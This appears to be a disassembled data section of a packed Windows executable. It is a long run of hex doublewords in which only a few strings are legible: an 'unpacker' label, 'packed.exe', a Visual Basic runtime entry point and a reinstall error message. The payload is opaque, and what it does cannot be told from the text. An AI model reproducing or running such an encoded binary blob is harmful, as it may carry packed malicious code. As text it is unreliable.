dd 570B7536h, 26B82A81h, 0D07EEA62h, 614E428Dh, 64617734h
dd 66E7B18Bh, 228962A6h, 19CF19F1h, 0DD3070D8h, 611AD72h
dd 0CE335F79h, 44DEEFD1h, 985259B3h, 80AF28A0h, 81993EABh
dd 0F30B0A21h, 6D3E9D74h, 0D4448644h, 737DC034h, 4486B8BDh
dd 9F588CD4h, 3DDA4EBEh, 70B2BD73h, 0B4BE8454h, 3E667226h
dd 0D627B59Fh, 292A85Ch, 4551C5E6h, 730453C5h, 0CBF729BDh
dd 825A4D06h, 0CA58E253h, 446D3E9Ah, 0A29691ABh, 4C47972Ah
dd 332365C7h, 146E3D9Bh, 33238860h, 0CF69369Bh, 0FEEF1282h
dd 5A861A8Eh, 0FAB0F2B7h, 0F784A871h, 4F6A5570h, 758h
dd 0F4CEE1F9h, 60426D80h, 0EDD3D834h, 5C466985h, 0ECD6C928h
dd 27CA42B4h, 7D5A0A78h, 0CB20542Eh, 769202E0h, 8D714B35h
dd 8DD18BFDh, 39848142h, 79DD48D2h, 9619F55Dh, 1897675Dh
dd 4FE91FDBh, 0ABD860BBh, 0D22AAA3Eh, 0AF644BA3h, 0F78B8D5Bh
dd 27C151C5h, 92761E84h, 91391D19h, 0BD723827h, 0C45D315h
dd 7ADE49D3h, 472A8FD2h, 2E3B6DC7h, 70FCD555h, 0DD80F922h
dd 74000006h, 0BBA71996h, 3F338D22h, 0F0A4FEADh, 432F911Eh
dd 2F9F019Eh, 6B349D3Fh, 0C1EA0D75h, 5358B3DFh, 0C8E3056Dh
dd 8CFC04DAh, 428DD118h, 77CAF3F0h, 0FB894A61h, 0A825CEDDh
dd 0DCCF2CA4h, 7BD3A03Eh, 0E8744E5Dh, 0B126ECD9h, 77Dh
dd 0B86C5600h, 45000002h, 894A6177h, 0F561CC56h, 0ABD9CA55h
dd 0A338B03Eh, 0D3EFCB08h, 0C3D60F7Ah, 512F79DEh, 4DAEC721h
dd 5D67AC5Eh, 272B2B74h, 72F2359Fh, 37C103BDh, 35E5FDE9h
dd 0AD433FE8h, 0A6C0AD4Bh, 0BA439D9h, 722E157Fh, 67A1E3BDh
dd 1EE557EFh, 5BD3C74Dh, 11E92A81h, 19EF5FD7h, 0A4443092h
dd 0D63ECA07h, 0E7E7A31h, 0B7597E9Ah, 6AAA3072h, 44DB1887h
dd 7F07EF3Ah, 0CD6C6D24h, 2A1B90D2h, 0FF6AE399h, 602B5D4h
dd 0BB4F0000h, 7E68EF4h, 0B24A3AA8h, 3DB87F9h, 0A34E36ACh
dd 241A86FCh, 6C5649A8h, 0D6CCDFF8h, 845E4DAEh, 0CDB3F810h
dd 56F17FFh, 0F3428DD2h, 0E3FBCFF6h, 5566C90Ah, 0A1F1072Bh
dd 25AF6447h, 922BE8C3h, 798FE7F4h, 28A85032h, 0E01AD7D4h
dd 0F313A25Ah, 0D9BDB126h, 94FFC731h, 8629C544h, 0B3F56D4Dh
dd 0EEB25h, 6C980000h, 16Bh, 0BAF50888h, 1C37C1F9h, 414A6177h
dd 7D29164Eh, 7D615843h, 0D4000005h, 5B077936h, 1F532D82h
dd 9004DECDh, 234F317Eh, 0CFFFE1BEh, 8B14BD5Fh, 218A6D15h
dd 7338D3BFh, 2883650Dh, 0EC5C24BAh, 428DD378h, 772A5350h
dd 46CE4A61h, 0FBCF049Bh, 8E0F4DDh, 0C21BB3A3h, 74E36407h
dd 2F79057Fh, 0BB1CA8A9h, 0EE21C3F0h, 9971FE2Ah, 8926B7BBh
dd 0B8812948h, 25311796h, 94C633A5h, 41D70944h, 9276CE9Bh
dd 53B51D19h, 1C60C258h, 0B126C2EDh, 20B1h, 19B1A500h
dd 4494CEAFh, 86CD6B9Dh, 0C66Ch, 0C06C4500h, 88000000h
dd 0D0B0AA58h, 52E8FF48h, 0DD48D203h, 0D94ED179h, 0FA2C3EABh
dd 0C3434FB9h, 0BD722751h, 0AE3F527h, 0C941B570h, 0C747225Ah
dd 440C2038h, 3FF347DEh, 0C9AF30Eh, 0F212D82Bh, 71CB0B43h
dd 9613D531h, 70FC7A8Bh, 9D1AAF98h, 0B4000004h, 0FB675956h
dd 7FF3CDE2h, 30643E6Dh, 83EFD1DEh, 6F5F415Eh, 2B745DFFh
dd 812ACDB5h, 1398731Fh, 8823C5ADh, 4CBCC41Ah, 428DD4D8h
dd 0D28AB3B0h, 5D79DD48h, 0CC109845h, 81397A25h, 1EB5161h
dd 0F1A893F7h, 5C8E3EA2h, 139874DCh, 34C949ADh, 0B62D5D7Bh
dd 0A4BD796Ah, 9796744h, 2040B8F3h, 3BAEE43Ch, 806151C5h
dd 218F21Fh, 42AB8D1h, 0D2790000h, 0D179DD48h, 3EABD94Eh
dd 0F0BB50C0h, 0AB689AEAh, 0D73FEA74h, 4722C02Fh, 0FF8CBEC7h
dd 70FCC80Ch, 19B2E19h, 50000004h, 0D78BF5BAh, 4B37A906h
dd 0DC88FAB1h, 9FD3AD02h, 4B835D42h, 0FFA041DBh, 9516F1A1h
dd 7A4372Bh, 9C0FE999h, 58F09826h, 428DD4ECh, 0D2A6EFDCh
dd 0D179DD48h, 3EABD93Ah, 7F2CC028h, 0F7B1EE13h, 2D728FFFh
dd 0A94E4684h, 0DFF9D102h, 6A419737h, 4849078h, 0BD722790h
dd 90048468h, 68BD7227h, 2E667436h, 2D75E1CAh, 4E25837Fh
dd 656E8C04h, 8175B0CAh, 4DCD5309h, 876FB1C7h, 1FB9F607h
dd 0AA01D777h, 0E9C226AEh, 47A1D14Fh, 0E680AF64h, 0A943CB4Bh
dd 0DFF9D102h, 15648F37h, 90D2CD6Dh, 0E2D2F21Bh, 7DFC276Ah
dd 354h, 0F0D2DDFDh, 5C466984h, 0E9D7D428h, 584A6579h
dd 0E8DAC52Ch, 1BC646B8h, 91761E84h, 1FBCA81Ah, 8A6E168Ch
dd 692DBF21h, 8DD577E1h, 0FD484542h, 894A6177h, 0F4CEDDFBh
dd 5EB041DBh, 279F9751h, 3EA1F69Ch, 50C0386Ah, 5C5EEB1h
dd 76EEDEF3h, 73BD7802h, 7F8EFECBh, 2348CA06h, 4Fh, 0DD48D2F0h
dd 1D455D79h, 0F7B4475Eh, 7320D3CBh, 433E2565h, 0DA0C3EA1h
dd 9912F65Eh, 0C23A527Fh, 0DFBD7939h, 6C3F9939h, 39E85CECh
dd 9EE0BD79h, 89F9C29Ch, 48CB217Ah, 10120h, 0AC1C3800h
dd 0BD793538h, 0C01DE810h, 1E4C0CFDh, 77074EECh, 0FB894A61h
dd 7C08C9D6h, 0BB2D9D5Ch, 914494E8h, 0E8BB2D9Dh, 4F914494h
dd 0B6A24F99h, 0D6EEBD1Eh, 4FF8DE5Eh, 0CB47D103h, 0FCAF482Dh
dd 0DBC503B7h, 94F9CB9Fh, 3DCDC944h, 4494FFCBh, 0F9B249C1h
dd 32C802B8h, 9F6F06E2h, 7CE8DA10h, 0B6A24F5Ch, 27ECB31Eh
dd 1E2845D3h, 54FB2313h, 1D48ECF6h, 0EE5E3AC0h, 3EA1F74Bh
dd 0F47A1941h, 0D9DA3B82h, 21CB10Fh, 0CD972F27h, 0CFC74C4Ch
dd 8F03A83Fh, 5AAA307Fh, 41A03028h, 0F110845Eh, 7A9ABDAEh
dd 0E4CF70FFh, 20BE5h, 0BA44600h, 9F10ED95h, 0F0BB5141h
dd 0A30CE292h, 0F3AC553Dh, 0AF2D218Dh, 0FF734D52h, 0B5DDC3E8h
dd 0F76B5556h, 6D8CAE1h, 0D61E8A02h, 1EE428Dh, 5DE3FBD4h
dd 2EC8137Ch, 496286EEh, 6CA83288h, 0BCA81A85h, 0C5318F1Ch
dd 9F16AF4Dh, 43103748h, 63975C8Eh, 48D27ED5h, 0FED979DDh
dd 34C604ADh, 0BDFDE464h, 99CB3EA1h, 3CFC6458h, 2DCBD78h
dd 3C198BFBh, 0ADEFBD78h, 30CEB6FBh, 9B3B527Fh, 1535ACCEh
dd 242DDC4Ch, 0D47148CAh, 22000000h, 0F8146177h, 7296FEB3h
dd 0F5536F39h, 7D65B0Fh, 2B995A90h, 0A418D9C6h, 449453CEh
dd 0FDF896CEh, 0E0B58CDEh, 8D1EBA5Ah, 50A93F33h, 941A4CB8h
dd 8A0A3C44h, 36943D6Eh, 96B03F74h, 17B79B9Bh, 0D02AE7C4h
dd 2B67C24Ah, 0D3153EA1h, 748909EDh, 0B6D09D3Bh, 180B7B7Bh
dd 0EEC74D86h, 3AD43CBCh, 9FB36375h, 0C1049B7Fh, 4C91DF49h
dd 477BADB7h, 47D1366Dh, 7D7926CBh, 0FDB6F915h, 7DE53BBDh
dd 0B8F31554h, 0CD7FD9FBh, 62C3C8FDh, 406962A8h, 8D7101ABh
dd 0E227A2h, 9B6F0000h, 27C6AE14h, 926A1A88h, 23BBA719h
dd 836E168Ch, 4FAA61Ch, 4C366988h, 0F6ECBF18h, 643E6D8Eh
dd 0EDD3D830h, 258F37DFh, 13428DD7h, 5A77EF16h, 0D1275B45h
dd 77BDE8DAh, 0FB894A61h, 38AC1CDDh, 104494E8h, 19A61CCEh
dd 9C34240Fh, 0C9CD6B40h, 0ABC00F41h, 8109ED3Eh, 0BD723817h
dd 0AC65A3E5h, 52B5C018h, 18B09859h, 0BD7238ACh, 34A06A9Ch
dd 0E01AD7D4h, 17F62E2Ah, 2193339Bh, 17BD72A6h, 0C2153DE5h
dd 751D8395h, 201893h, 0F9F6CD34h, 0DCF50332h, 225A346Ch
dd 0B368DC6Ch, 1E60BD72h, 0A7763F06h, 62985956h, 9AFA92A8h
dd 0FBA26A7Eh, 4C5F7D15h, 37A53387h, 7536D22Ah, 2A81570Bh
dd 6546A62Eh, 0F8167ED3h, 87416A81h, 0ACB5194Ah, 89F7B454h
dd 67ACFFD9h, 352h, 59402300h, 874C6377h, 23D0DBFDh, 0A0515AB1h
dd 1BD8D334h, 9A5748A9h, 1BD8C72Ah, 995A55A9h, 19DAD12Bh
dd 0B45D52ABh, 0E2895252h, 4C281h, 0EA830000h, 24148704h
dd 5124248Bh, 0C181E189h, 4, 4E981h, 0C870000h, 4895C24h
dd 5BA56824h, 1C890000h, 4EC8324h, 0BA241489h, 61931E3h
dd 815AD089h, 4ECh, 24248900h
dd 4240481h, 5B000000h, 8BA52h, 0DA010000h, 24348150h
dd 10CA1255h, 3281028Fh, 10CA1255h, 2434FF5Ah, 4C4815Bh
dd 8B000000h, 89522404h, 4C281E2h, 81000000h, 4C2h, 24148700h
dd 5FEE95Ch, 357FFFBh, 9DE22AF0h, 0FFB819F8h, 3061940h
dd 0CAE0FFC5h, 484B5727h, 2841101Fh, 0CB0C7439h, 3C174C7Ah
dd 0C53FF86h, 82651F61h, 0C445FC5Fh, 80563EBBh, 69751085h
dd 120F10D0h, 6A4D36C6h, 63507445h, 7E241954h, 0CB1513FCh
dd 0BA051D38h, 3599D00h, 6547CC24h, 9A143D07h, 0E848F8D2h
dd 10h, 56150450h, 0A09A9B94h, 0CF61081Ah, 88F054Dh, 0D1F728B8h
dd 0D7815B1Eh, 2D6DE103h, 5A3BC381h, 860F0000h, 5, 3CC88166h
dd 166968CBh, 0CDB40000h, 0C840F59h, 60000000h, 0D0EABA66h
dd 6A17DE81h, 8B6119D0h, 0F575713h, 86h, 815E5E00h, 0EF33A6C2h
dd 0EA81F85Eh, 30A1BDD6h, 0CD36C281h, 13893FE7h, 0BCEB81F8h
dd 0E81186C0h, 9, 5B23C443h, 0BAB11C52h, 5FC38B81h, 0C0B8C381h
dd 0F8571186h, 1E9815Eh, 0F000000h, 0FFFFB285h, 0B2DF81FFh
dd 8D0509BEh, 1943C38Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 0B813FDE9h, 16B5B529h
dd 8D890613h, 6131BBDh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 10C35242h, 6FD1BC45h, 8BE07850h, 131721BDh
dd 0DD85C706h, 0E4061318h, 6A000059h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0F947C357h
dd 0C2565B97h, 899C471Dh, 13348995h, 5585C706h, 61330h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 0B8D2C355h, 4ABDF9CDh, 66600F31h
dd 9746E781h, 0CE9h, 0BFF89300h, 6ABEDBD0h, 2B70CCA7h
dd 0B5FF61DAh, 613125Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 63C35141h, 8D297130h, 6130EC5h, 5E9h
dd 1FB78900h, 95FF9787h, 6131D89h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 18h, 0B2C35141h, 8ACA3677h, 221D9589h
dd 6A0613h, 0DA995FFh, 0C08B0613h, 0C7DC08EBh, 7E0EA353h
dd 77E9AFC8h, 70000001h, 0DD1459DDh, 437C8360h, 5F6D5C3Ah
dd 61706E75h, 72656B63h, 63617000h, 2E64656Bh, 657865h
dd 3Ah dup(0)
dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
dd 654Eh, 6 dup(0)
dd 0F3E90000h, 6800001Bh, 6194749h, 0FA3C07E9h, 483268FFh
dd 0FDE90619h, 68FFFA3Bh, 6194959h, 0FA3BF3E9h, 4A0068FFh
dd 0E9E90619h, 68FFFA3Bh, 6194A3Fh, 0FA3BDFE9h, 4B1F68FFh
dd 0D5E90619h, 68FFFA3Bh, 6194B85h, 0FA3BCBE9h, 4BCC68FFh
dd 0C1E90619h, 68FFFA3Bh, 619531Ah, 0FA3BB7E9h, 53C268FFh
dd 0ADE90619h, 68FFFA3Bh, 61954ABh, 0FA3BA3E9h, 558468FFh
dd 99E90619h, 68FFFA3Bh, 61955E6h, 0FA3B8FE9h, 56D968FFh
dd 85E90619h, 68FFFA3Bh, 6195779h, 0FA3B7BE9h, 580D68FFh
dd 71E90619h, 68FFFA3Bh, 6195E95h, 0FA3B67E9h, 5F7168FFh
dd 5DE90619h, 68FFFA3Bh, 619600Eh, 0FA3B53E9h, 0D87ECCFFh
dd 0C886D8FAh, 0D674C8EAh, 0CF81D2F8h, 0D87CC9EFh, 764CBFAh
dd 163C9ABAh, 0C2E8CC6h, 0F3191B7h, 23308EBEh, 0FB4DC93Ch
dd 31616B6h, 70E5C25Fh, 109DB516h, 0F419BEDFh, 29BF1439h
dd 3283D51Fh, 230C4B1Ah, 0E0FB8E21h, 81D0F257h, 76C709D3h
dd 0B1B8F8D6h, 2A87F6D5h, 23168F2Ch, 90A1B1FFh, 0DDFA6771h
dd 8B282EA8h, 0F796F70Ah, 0EB5DF2D8h, 32B13B5Ah, 8B2843C3h
dd 0DB709A0Ah, 9BB5062Ch, 0D9814BCAh, 5AAC951Bh, 30C3h
dd 0BEA39700h, 9B7AEBC8h, 6C168E98h, 69E91829h, 0C00A8A89h
dd 9F01AC93h, 6180B70Bh, 0D0D9F02Bh, 4D97F63Eh, 562646C3h
dd 0FE5AAD64h, 0C5h, 0E06CBD64h, 74E06D51h, 0FC50E1E5h
dd 8AF9F8DFh, 0D21B001Bh, 0E6775B0Ah, 1154866h, 0A5109DE3h
dd 0B79B3814h, 0F5142525h, 7ACBEDEBh, 5E4483D2h, 50B180CAh
dd 8B352C88h, 14A2BC76h, 6611B6C3h, 21BB6CDh, 2109A6C7h
dd 0ED20BF93h, 109DD471h, 0C411DB3Ah, 8ED9AC91h, 0A2008516h
dd 0AC0B7B66h, 75305439h, 0CBE82D10h, 0DCFA5AE7h, 78ED67F6h
dd 79F9038Ah, 5FE1FCABh, 6000019h, 1A409EB8h, 22886C8h
dd 1C3E9CAEh, 32585CBh, 0D409EB6h, 0D87CC922h, 0CA88D8FAh
dd 0D771C6ECh, 0CC80D1F7h, 8BFAE5EEh, 16B6FC0Fh, 0BD9DC1D8h
dd 0E9C6E470h, 8EDF73C1h, 4293C50Fh, 7156F647h, 8DE3CA35h
dd 8E2C4D97h, 0C8BEA334h, 0C3A5C4EBh, 3F76CD5Fh, 0A80FAFB7h
dd 0E4775C94h, 449E0564h, 7E7AD8F4h, 0A7B5860h, 168EE60Bh
dd 59A8B9DCh, 0A8AD5F9h, 0FB240350h, 2A3F8BD5h, 59B5A498h
dd 220A8AEEh, 1AAFD9E3h, 0ACD322F2h, 0A68A5Ah, 0BDB00000h
dd 6D51E06Ch, 94E574E0h, 109DB182h, 19B99326h, 97A6A637h
dd 99365099h, 0A83024B1h, 0B6573AABh, 0ED30168Eh, 0EE98D1CDh
dd 3658E9D1h, 8AA34BC7h, 90F1140Ah, 29B39D2Eh, 1C5B92Ch
dd 5FBE1075h, 490B5A80h, 5AFA4769h, 0F8E34927h, 0BA975679h
dd 1876h, 0D3F363EFh, 0D1F15DEDh, 0CDED5DEFh, 0D6F45CEBh
dd 0CFEF65F4h, 0AB3A53DCh, 992709A9h, 0A43719B9h, 912406A4h
dd 114E1BBBh, 0B6FD82DCh, 6CD64B16h, 0C7E470BDh, 68F951E3h
dd 8FB19F29h, 86B10E3Eh, 0EC549CB0h, 90672427h, 0DAAB04A1h
dd 852331BBh, 51E06CBDh, 5270DC6Dh, 5C7B0B56h, 8EAA7C29h
dd 0D160A516h, 0D381D0F2h, 961C7A09h, 17730A8Ah, 7BA7AA2h
dd 7B5C5AADh, 8A9D900Ah, 0AC34590Ah, 0E375h, 0F4694600h
dd 0A8A9D9Ah, 0F4175C63h, 0A5423101h, 0B962FCC4h, 0DDA9C0D9h
dd 0A5EE8FFEh, 486F168Eh, 3ED38D31h, 0CB18A042h, 92426D4Ah
dd 5BFA6E16h, 0BA6BE716h, 0D1340A89h, 0E66728B0h, 0BDF3193Ah
dd 0C312B1B8h, 2F7EC091h, 86254425h, 5A3181A9h, 97F64709h
dd 9E2667F6h, 0E008D66Fh, 19B6D73Bh, 26AEA231h, 438069C7h
dd 8C0D5CF4h, 0C6F1CEEDh, 0C6746590h, 4DBC045Eh, 35CA0AFEh
dd 0C9B6646Bh, 43A9CD4Eh, 298EAB4Ch, 85CADBBh, 65422342h
dd 4260EC3Dh, 0A7FCD60h, 9F4949F0h, 4F478229h, 16000017h
dd 0A308EC8h, 123896B8h, 0C2E8CBEh, 133595BBh, 0FD308EC6h
dd 0C88CD932h, 0DA78C8EAh, 0C781D6FCh, 0DC70C1E7h, 7BEAF5FEh
dd 16B6FE1Fh, 0BD8DB1E8h, 5351E06Ch, 2A5B780Eh, 168EAA7Fh
dd 0EB4565A8h, 0A9C0D9B9h, 0F9E1FEDDh, 3554E569h, 0A5DD5CABh
dd 795E168Eh, 51BB085Dh, 0E16BBEC2h, 88503150h, 321DBADBh
dd 6E2F6AD1h, 3612A50Ch, 18C8D57h, 91A16277h, 0F5D2B4ADh
dd 51C3E980h, 9AABEA89h, 6443439Eh, 0D160EA3Eh, 0BA2B28B0h
dd 833BC38Dh, 163C9BFAh, 72989C3h, 0E1E396B6h, 6ECBB19h
dd 16A86A67h, 71BD0000h, 53E3C5E5h, 63F5DBFBh, 52E1C7E7h
dd 6BFAE0FEh, 55DAC9E9h, 0BABA938h, 1BBB9725h, 8A6A235h
dd 1DBD8F22h, 80DA0B54h, 4916B6FFh, 6CBD6ED0h, 9B7D6DE0h
dd 0DF8E8621h, 166902h, 0E86EFC00h, 0F856E8CAh, 0E664F8DAh
dd 0FF51E2C8h, 0E86CF9DFh, 3754DBCAh, 260CAAAAh, 3C1EBC96h
dd 1F01A1A7h, 5320BE8Eh, 0FF7DD90Ch, 0D34616B6h, 1D6CBD6Fh
dd 1071C08Ch, 9DC4E071h, 429BCAE9h, 3168E97h, 89FA2482h
dd 2E8DF9F0h, 3196BC0Ch, 0E80CB3FCh, 0F1EEF641h, 7AB4FD7Ch
dd 79CC0E10h, 0EF4082D3h, 0D0B1D061h, 62F35DEEh, 2CA14223h
dd 800E0A00h, 8423637Eh, 0BEEED851h, 0F766496Dh, 61BAD99Bh
dd 4A972164h, 233E7ACBh, 20410FA0h, 0EE255283h, 739267A8h
dd 498C6B54h, 1FE6F578h, 0A3DF74EEh, 0B9D83D5Bh, 0CE213212h
dd 2CB48A1Ah, 0BE2F102Fh, 5BA43C64h, 0EEE0E82Dh, 0ED9A2E5Bh
dd 0C190F15Dh, 3BF75382h, 5DC05BA4h, 4469A3Ch, 0D2634565h
dd 21D1077Ah, 5F0ED128h, 158982h, 0C88EDC00h, 0D876C8EAh
dd 0C684D8FAh, 0DF71C2E8h, 0C88CD9FFh, 1774BBEAh, 62C8ACAh
dd 1C3E9CB6h, 0FF2181C7h, 33409EAEh, 5DB92Ch, 0F32616B7h
dd 0B516704Fh, 704F109Dh, 9DB4A1FDh, 0A12B6A10h, 9DA4E462h
dd 9573D310h, 8BB4109Dh, 8FB5664Bh, 2814B3Dh, 109D8384h
dd 0AADF6DC0h, 86216A78h, 23CF0AA1h, 42000015h, 5E4462F4h
dd 0FE2482CCh, 2002A0AAh, 0BFE1C18Fh, 0D1C4E272h, 0B4A02D5Eh
dd 0AEA43416h, 0B3952A10h, 0B09C2D13h, 0D7064912h, 16B7007Bh
dd 0A371CD44h, 7AEBC8BEh, 168E98F7h, 0B0D88D10h, 0C5800E6Eh
dd 14DC2B26h, 3D890000h, 4797B919h, 2F81A707h, 4695BB1Bh
dd 3786AC0Ah, 0A18EBD1Dh, 7757FD4Ch, 6F4F0351h, 7452F649h
dd 7151FB4Eh, 9CF66768h, 6516B6FFh, 6CBD122Ch, 0DC6D51E0h
dd 0B01AE170h, 0E623F11Bh, 3D8BA341h, 0AF000000h, 9DB51270h
dd 93FB4E10h, 0B4C541B4h, 0F8E109Dh, 9DB5045Eh, 2948CD10h
dd 5C03A58Ah, 0EF65EB19h, 8384F7E5h, 8610C66Dh, 14689AB7h
dd 8DB50000h, 41B4133Fh, 10426AC5h, 1BC50F8Eh, 51E06CBDh
dd 28B50E53h, 9DFC1D2Ch, 0A596CF3Eh, 6847168Eh, 0A4BC1647h
dd 850A8Ah, 8AA4F551h, 955FBE0Ah, 3815B5D8h, 0A56CE617h
dd 0D0350A8Ah, 0D1B5AC08h, 750683F2h, 88CF107Bh, 2FF76715h
dd 67F6978Ah, 5979D163h, 7707AB2Ah, 3157E704h, 0E9639BB5h
dd 2A88E9DDh, 0C998B608h, 5563585h, 8C6A7485h, 21408592h
dd 0A3D2F110h, 476FC27h, 0EFCCADF0h, 81D078CBh, 6129B800h
dd 0EA052E7h, 0ACA6240h, 0B25098ADh, 254h, 977E1A05h, 0B798498Ah
dd 684F1B87h, 943380ABh, 76D4E561h, 656FAE04h, 0C8BEA3FBh
dd 91477AEBh, 5DC0168Eh, 0D678CA0Ch, 0B80D2F8h, 63F293BBh
dd 8A80B412h, 0EF5DF00Ah, 62E87C5Eh, 2C9D2BD3h, 7FFC9639h
dd 0EBCB83D3h, 0F3D0B6ABh, 79AD8FCCh, 8F2C26A6h, 8A9F045Eh
dd 8048CD0Ah, 9C1F2253h, 95F8107Bh, 213382C4h, 42129F81h
dd 990682F3h
dd 533F0477h, 97BD0CB6h, 94F2F737h, 9EA3C637h, 96BC0A68h
dd 0DD6C0D47h, 0C6E468F9h, 6AFB51E4h, 648BBF1Bh, 6DDEF4FEh
dd 8B2824B5h, 7A089DA4h, 0B84269EBh, 25B81A4Dh, 99BF9D27h
dd 12340549h, 0E318EC0h, 0C7B69C2Ch, 0FE63C84Bh, 78E7F114h
dd 99840456h, 9F2B73ACh, 577BCAABh, 68FB4A0Ah, 3EA4912Ah
dd 3B8B37D4h, 3B8CFD50h, 0B5157415h, 87945F1Dh, 98074Eh
dd 0BD5B0000h, 0BE922170h, 0B00F6EAFh, 43F3C187h, 9F2968A9h
dd 991C0340h, 5A78834Bh, 0E754E794h, 1DC0EAC0h, 18A0C18Dh
dd 9CADA736h, 38DF5CF6h, 16CE617h, 0D035109Eh, 0DD77C608h
dd 0AA9765FDh, 533FA341h, 23000000h, 51E06CBDh, 0E170DC6Dh
dd 33024EDDh, 0BC8DBD0Fh, 0A552E72Bh, 9DB4D630h, 1F7E9F10h
dd 32E059F7h, 0B50DAD9Fh, 0A341E6E7h, 254Fh, 0F94A7000h
dd 0A3D38D57h, 7AEBC8BEh, 168EBA77h, 0CD3C0D90h, 0A8AA84Dh
dd 0ABD16AA4h, 5AAD15EDh, 0D355h, 0BEA3E900h, 0C796B205h
dd 55882746h, 168EBC10h, 390E9EA9h, 8E428D02h, 1475143Eh
dd 0FE290645h, 0AF3E81Dh, 419DCC72h, 0A0A8A10h, 0BF0F418Bh
dd 0B90A308Fh, 2E0F4D97h, 2F50209h, 0A918C2FCh, 0AB4B6BADh
dd 80D21A7Bh, 97F3622Eh, 600A8A19h, 19940E7Fh, 385D0A8Ah
dd 0D7687259h, 249DA6A4h, 0F5446645h, 0F4D6955Fh, 0EBCFEC62h
dd 81D0F25Ah, 0B45A09D3h, 5DEDA516h, 65E11433h, 2E0A8AB4h
dd 0B4247EEFh, 9580A8Ah, 0CC9BFA4Bh, 328A2849h, 5AAD1562h
dd 35CAh, 0BDA37000h, 0F975E8C7h, 26F624Bh, 65FB2483h
dd 0F478AFDCh, 0AADB8A52h, 909E9E2Ch, 0D2614976h, 9F1C767Eh
dd 0D6F58FD9h, 63330BA7h, 0D1F114EFh, 7F6h, 61C45C00h
dd 6A000000h, 6A196BBDh, 0FD1EAA9Bh, 0FA26E8EAh, 0BCD51ED5h
dd 684F8CDDh, 0F75968B7h, 0BF11DB0Dh, 0D9FFDF6Fh, 5774C589h
dd 0FC2B0C70h, 0C87C1Ah, 87D6AAB4h, 62B095F6h, 0C4E3F0EFh
dd 9E1A3591h, 0ED9FE10h, 0DA860E8Fh, 2D7D2140h, 0DC6D9721h
dd 4198E0B0h, 0A59D82A3h, 25056B1Bh, 0BF940BD5h, 0AA00000Bh
dd 74C5BBA3h, 3680FE05h, 50726199h, 0D8FF4EFCh, 7B302FD0h
dd 0AA32531Fh, 163CEB60h, 5ABB8AC4h, 1B0ACA92h, 0C6ECD515h
dd 0C8DDC76h, 505DC4h, 0C2010000h, 0E3961DDDh, 844C648Ah
dd 75522E38h, 86007552h, 4F109E2Ch, 34E3D408h, 0BEDF43FFh
dd 0CE7BD736h, 0C144109Dh, 0E16FC0E2h, 3FF988D7h, 4AB9EE92h
dd 53214BC0h, 35F5CDA1h, 0FC67E312h, 27306729h, 302222DEh
dd 9D3B202h, 24F92h, 0BBA3A800h, 0A78169C5h, 1670E5C2h
dd 0DF109DB5h, 912436BEh, 0E1FE9FBBh, 2C206AF9h, 12E5DC3Eh
dd 924C94F5h, 41DE9947h, 4E41A6h, 0A3150000h, 7CD607BBh
dd 0B5109DB5h, 9DB4C640h, 410E8F10h, 0B573EF1Eh, 0D93C109Dh
dd 0C27DD9B8h, 0ECD0BAE5h, 4F357F3Ch, 9F870685h, 3558109Eh
dd 0BD68C219h, 0DA00DF6Bh, 1574C587h, 0E5C211CBh, 9DB51670h
dd 36BEDF10h, 25C43EE4h, 6A000000h, 69C5BBA3h, 0B53293C2h
dd 0A829109Dh, 4CE0C28Eh, 49E9F6FEh, 83DF6BBDh, 1670E5C2h
dd 0DF109DB5h, 3EE436BEh, 63CB1B70h, 5EF643D4h, 45075A80h
dd 1E368325h, 44065A80h, 0D084D1F5h, 0E8610B81h, 3754CE3Fh
dd 0F81D4B9Fh, 4ABF4999h, 2824B59Dh, 40A23219h, 58EC95Eh
dd 0E77A5C64h, 725D8265h, 3D6E7792h, 0FD4F997Eh, 0DCC2A0ACh
dd 0AF4CC63Ah, 0BE902208h, 0BB912436h, 9DAF0258h, 0B68EDBFDh
dd 4B9F8457h, 0C0922228h, 11711071h, 0EC435C3h, 2C6E91BBh
dd 0A9A6B79Dh, 0D31D3181h, 345ED27Dh, 0F65EEB97h, 0C097EED9h
dd 0DC6DDB70h, 0DD5116BDh, 4365737Dh, 963C5AF2h, 679CFD47h
dd 286D4B9Fh, 75D3684Ah, 0FC4EE2E4h, 77C688DAh, 0AB9A2F61h
dd 3082A895h, 6CE4F1Eh, 0F243EF8Ch, 0D061B95Ah, 422327B9h
dd 109F8324h, 4890F140h, 2905302h, 0C488D989h, 0D82DC0E7h
dd 1D13C5DFh, 4598C2D3h, 3282A807h, 587A9820h, 992B4B09h
dd 9528DA6Fh, 0BD8E54B7h, 8146E06Ch, 51E0C2A7h, 138DED3Dh
dd 35545372h, 2B598FABh, 0F9E1FE0Fh, 3657E66Ah, 0E5C234AEh
dd 9DB51670h, 36BEDF10h, 41DEFEAEh, 3E66A6h, 0A3FC0000h
dd 0C26BC7BDh, 0B8004EE0h, 0B4EB6A9Bh, 32C109Dh, 755299B6h
dd 9BD293FEh, 0ED37CFF4h, 61BD308Fh, 2A109EA9h, 184E1EBh
dd 0BD68C225h, 0BF891E6Dh, 340E6FAEh, 3EC4E37Dh, 6A000000h
dd 0FF4DE0C2h, 0A2FC716Eh, 6B109DB4h, 35814B2Ah, 0C2FD592Bh
dd 9DB53293h, 0FF4F7310h, 0B5025C91h, 4ACB109Dh, 0D7FB1A2Bh
dd 1574C585h, 79D544CBh, 6DBD68C2h, 50E0C2E1h, 7D20BA02h
dd 4EE0C2E3h, 8D03100h, 9DA64279h, 31D0ED10h, 6EFFFFFDh
dd 9DB51270h, 562A3410h, 5785778h, 109DB489h, 0E04B6D52h
dd 54867ED1h, 17A9AB35h, 77D32233h, 0B9109E4Bh, 0BC10C237h
dd 0B80A308Eh, 0E7163996h, 109E4B6Bh, 0C907D134h, 60F193CDh
